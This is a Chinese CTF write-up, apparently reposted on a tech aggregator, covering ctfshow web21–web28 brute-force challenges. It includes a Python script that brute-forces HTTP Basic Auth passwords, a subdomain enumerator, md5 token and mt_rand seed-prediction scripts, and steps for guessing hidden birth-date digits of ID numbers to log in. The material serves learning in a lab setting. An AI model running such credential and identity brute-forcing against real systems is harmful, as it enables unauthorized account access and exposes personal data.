IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow web入门 爆破 -> 正文阅读

[PHP知识库]ctfshow web入门 爆破

目录

web21

web22

web23

web24

web25

web26

web27

web28


web21

custom iterator

随便输入一个密码,然后抓包,会是这样

会发现一个base64编码,解码发现它的形式为——admin:密码

所以在这个时候,我们要用自定义迭代器

第一段为admin

第二段为“:”

第三段为题目附件下载的密码

特别注意的是,要进行base64加密

而且不能进行字符url编码,因为,在base64加密后,会有=,进行url编码可能出现错误

爆破完成!!!得到flag了

第二个hint也提供了python的脚本,也可以用python跑出来的

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-11-20 19:16:49
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
import time
import requests
import base64
?
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
?
password = []
?
with open("1.txt", "r") as f:  
    while True:
        data = f.readline() 
        if data:
            password.append(data)
        else:
          break
        
?
?
for p in password:
    strs = 'admin:'+ p[:-1]
    header={
        'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
    }
    rep =requests.get(url,headers=header)
    time.sleep(0.2)
    if rep.status_code ==200:
        print(rep.text)
        break
  

web22

域名爆破

http://z.zcjun.com/,但是这个题没有爆出来,

在看别人的wp也有用脚本的,

#用法: python3 subdomain.py xxxx.com
?
import socket
import sys
?
domain = sys.argv[1] 
?
with open('subdomain.txt','r') as f:
    for i in f:
        i = i.strip()#去空
        subdomain = i + '.'+domain
        try:
            ip = socket.gethostbyname(subdomain)
            print("\033[1;32;40m %s \033[0m" % (subdomain+'   '+ip))
        except Exception as e:
            pass
?

然后查看了hint,直接访问http://flag.ctfer.com/index.php,得到flag

flag{ctf_show_web}

web23

源码如下

<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
error_reporting(0);
?
include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);
?
}
?>

我直接偷的大佬们的代码,自己还不会写

<?php 
error_reporting(0); 
?
$a="asdfghjklqwertyuiopzxcvbnm1234567890";
for($i=0;$i<36;$i++){
    for($j=0;$j<36;$j++){
        $token=$a[$i].$a[$j];    
        $token = md5($token); 
        if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ 
            if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ 
                echo $a[$i].$a[$j];
                exit(0);
            } 
        } 
    }
} 
?> 

import itertools
import hashlib
?
zimu = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in itertools.product('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890', repeat=3):
    blast = ''.join(i)
    md5_ins = hashlib.md5((str(blast)).encode('utf-8'))
    md5 = md5_ins.hexdigest()
    if md5[1:2] not in zimu and md5[1:2] == md5[14:15] and md5[14:15] == md5[17:18] and md5[31:32] == '3':
        print('1:',blast,':',md5)
?

运行后为3j

然后直接传递token=3j即可得到flag

web24

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的

源码如下

<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

php的伪随机数,

<?php
mt_srand(372619038);
echo(mt_rand());
?>

在kali上运行得到结果为1155388967

传递?r=1155388967可得flag

web25

emmm,我太菜了

本人能力有限,看了大佬的wp也没有做出来

后期会更加勤奋学习,补上的!!!

web26

首先是一个大页面

然后是一个管理系统安装

也告诉了我们所有的信息,但是输入上去并不行,感觉需要爆破一下密码

抓包,爆破走起~

字典就用简单弱口令的字典就能爆出来

web27

emm,这个题感觉好有趣

首先是一个教务系统的页面,需要输入学号和密码

然后我们继续找信息,有一个录取名单我们下载打开一下

我们得到了一个名单,也不知道是干啥的,然后我们打开查询系统

我们就知道了,录取名单有姓名和身份证号

但是吧,身份证号有隐藏部分,这里加一下身份证号的小知识,简单了解一下

1.2位表示省(自治区、直辖市、特别行政区)。
3.4位表示市(地级市、自治州、地区、盟及直辖市所属区和县的汇总码)
5.6位表示县(区、县级市、旗)
7-14(身份证号码第七位到第十四位)表示编码对象出生的年、月、日,
15.16位表示所在地的派出所的代码。
17位标识性别:奇数表示男性,偶数表示女性。
18位为校验码

然后这里隐藏的部分就是出生的日期,然后我们抓包进行爆破

特别注意:这个页面有点问题,火狐会抓不全包,POST参数会抓不到,我们可以在别的浏览器查看,也可以直接用别浏览器进行抓包!!!

yyyyMMdd表示xxxx年xx月xx日

在其中yyyyMMdd为日期格式化就是年-月-日的意思,

再补充一下,类似这种的还有HH:mm:ss——时:分:秒

然后下面可以添加add prefix和add suffix

然后直接爆破

爆出来得到了身份证号,将编码解码一下,unicode转中文

我们可以知道了学号为02015237,密码为621022199002015237

然后我们返回最初的登录页面,登录,得到flag

web28

爆破目录

看一下题目提示

我们直接抓包,然后选择cluster bomb

然后爆出来了

做了ctfshow爆破的题目,真的有收获,会了一些其他爆破姿势,奈斯!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-16 11:32:11  更:2021-08-16 11:33:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/14 20:12:38-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码